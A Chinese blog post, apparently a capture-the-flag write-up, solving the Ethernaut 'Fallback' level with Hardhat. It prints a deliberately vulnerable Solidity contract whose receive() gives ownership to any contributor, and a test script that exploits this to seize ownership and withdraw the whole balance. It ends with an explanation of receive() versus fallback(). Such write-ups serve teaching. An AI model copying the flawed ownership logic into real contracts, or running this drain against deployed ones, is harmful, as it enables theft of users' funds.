用Hardhat闯关Ethernaut题1-fallback

  • Verin
  • 更新于 2022-09-07 12:07
  • 阅读 2064

用Hardhat闯关Ethernaut题1-fallback

Fallback合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "hardhat/console.sol";

contract Fallback {
    using SafeMath for uint256;
    mapping(address => uint256) public contributions;
    address payable public owner;

    constructor() public {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }

    receive() external payable {
        console.log("Received Ether");
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

这道题目比较简单,挑战将合约的owner变为自己的地址,然后调用withdraw函数,将所有的balance转到owner地址里面:

解题思路:

1.调用contribute函数; 2.发送ETH到合约地址,使 require(msg.value > 0 && contributions[msg.sender] > 0)条件成立; 3.调用withdraw函数;

测试代码:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");

describe("RebaseDividendToken Token Test", function () {
    var Fallback;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("fallback deploy", async function () {
        const FallbackInstance = await ethers.getContractFactory("Fallback");
        Fallback = await FallbackInstance.deploy();
    });
    it("hack test", async function () {
        await Fallback.connect(users[0]).contribute({ value: 0.00001 * 10 ** 18 });

        expect(await Fallback.contributions(users[0].address)).to.greaterThan(0);

        await users[0].sendTransaction({
            to: Fallback.address,
            value: 1,
        });

        expect(await Fallback.owner()).to.equal(users[0].address);

        await Fallback.connect(users[0]).withdraw();

        expect(await ethers.provider.getBalance(Fallback.address)).to.equal(0);
    });
});

测试结果通过:

image.png

题后总结:

receive函数的作用,执行机制以及和fallback的区别? receive和fallback的区别:

           接收ETH
              |
         msg.data是空?
            /  \
          是    否
          /      \
receive()存在?   fallback()
        / \
       是  否
      /     \
receive()   fallback()

合约接收ETH时,msg.data为空且存在receive()时,会触发receive();msg.data不为空或不存在receive()时,会触发fallback(),此时fallback()必须为payable。 receive()和payable fallback()均不存在的时候,向合约发送ETH将会报错。

hardhat连载测试仓库:Github

点赞 1
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Verin
Verin
discord:Verin#2256 v: daqingchong-pro 备注来意